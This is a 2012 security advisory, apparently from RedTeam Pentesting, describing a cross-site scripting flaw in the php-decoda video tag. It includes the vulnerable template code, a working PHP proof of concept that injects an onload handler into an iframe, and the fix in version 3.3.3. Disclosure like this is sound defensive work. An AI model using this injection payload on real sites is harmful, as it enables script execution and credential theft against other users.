PHP-decoda – ‘Video Tag’ Cross-Site Scripting
Advisory: php-decoda: Cross-Site Scripting in Video Tags RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability in the PHP markup parser Decoda. This allows attackers that should be restricted to the markup supported by Decoda to specify a JavaScript event handler for an iframe tag. Depending on the usage of Decoda, this allows attackers to execute JavaScript code in the context of other users in a web application that uses Decoda. Details ======= Product: php-decoda Affected Versions: 3.x Fixed Versions: 3.3.3 Vulnerability Type: Cross-Site Scripting Security Risk: High Vendor URL: http://milesj.me/code/php/decoda Vendor Status: fixed version released Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2012-002 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ Decoda is a lightweight class that extracts and parses a custom markup language; based on the concept of BB code. Decoda supports all the basic HTML tags and manages special features for making links and emails auto-clickable, using shorthand emails and links, and finally allowing the user to add their own code tags. (from Decoda's homepage) More Details ============ Decoda supports a directive for videos. For example the Decoda markup [video="youtube" size="small"]test[/video] creates the following corresponding HTML code (whitespace adjusted): <iframe src="http://www.youtube.com/embed/test"; width="560" height="315" frameborder="0"></iframe> The code to generate the iframe tag can be found in the following file: decoda/templates/video.php There, the HTML tag is generated as follows: <?php if ($player == 'embed') { ?> <embed src="https://www.exploit-db.com/exploits/18822/<?php echo $url; ?>" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="<?php echo $width; ?>" height="<?php echo $height; ?>"></embed> <?php } else { ?> <iframe src="https://www.exploit-db.com/exploits/18822/<?php echo $url; ?>" width="<?php echo $width; ?>" height="<?php echo $height; ?>" frameborder="0"></iframe> <?php } ?> The variable $url contains the user input provided in the video markup prefixed by the URL to YouTube. Since quotation signs provided by a user are not properly encoded, an attacker can use this to specify a JavaScript event handler that is executed when the resulting HTML document is loaded. Proof of Concept ================ The following PHP script can be used to demonstrate this vulnerability: <?php include '../decoda/Decoda.php'; $code = new Decoda(); $code->addFilter(new VideoFilter()); ?> <?php $decoda_markup = '[video="youtube" size="small"]"'; $decoda_markup .= 'onload="alert(\'RedTeam Pentesting XSS\');" id="[/video]'; $code->reset($decoda_markup); echo $code->parse(); ?> This results in the following output (whitespace adjusted): <iframe src="http://www.youtube.com/embed/"; onload="alert('RedTeam Pentesting XSS');" id="" width="560" height="315" frameborder="0"></iframe> Workaround ========== Disabling support for the video markup by not adding the corresponding filter might close this attack vector depending on the usage of Decoda. Fix === Update to at least version 3.3.3. Security Risk ============= The risk of the described vulnerability is considered to be high. It might be lower depending on the use case of Decoda in a web application. In case it is used in an web forum to allow formatting of postings, it can be used by attackers to completely manipulate the web page showing the respective posting by adding arbitrary content, tracking user interaction and potentially obtaining credentials from other users. History ======= 2012-03-26 Vulnerability identified 2012-04-25 Customer approved disclosure to vendor 2012-04-26 First attempt to contact vendor 2012-04-30 Vendor notified 2012-05-01 Vendor released fixed version 2012-05-02 Advisory released |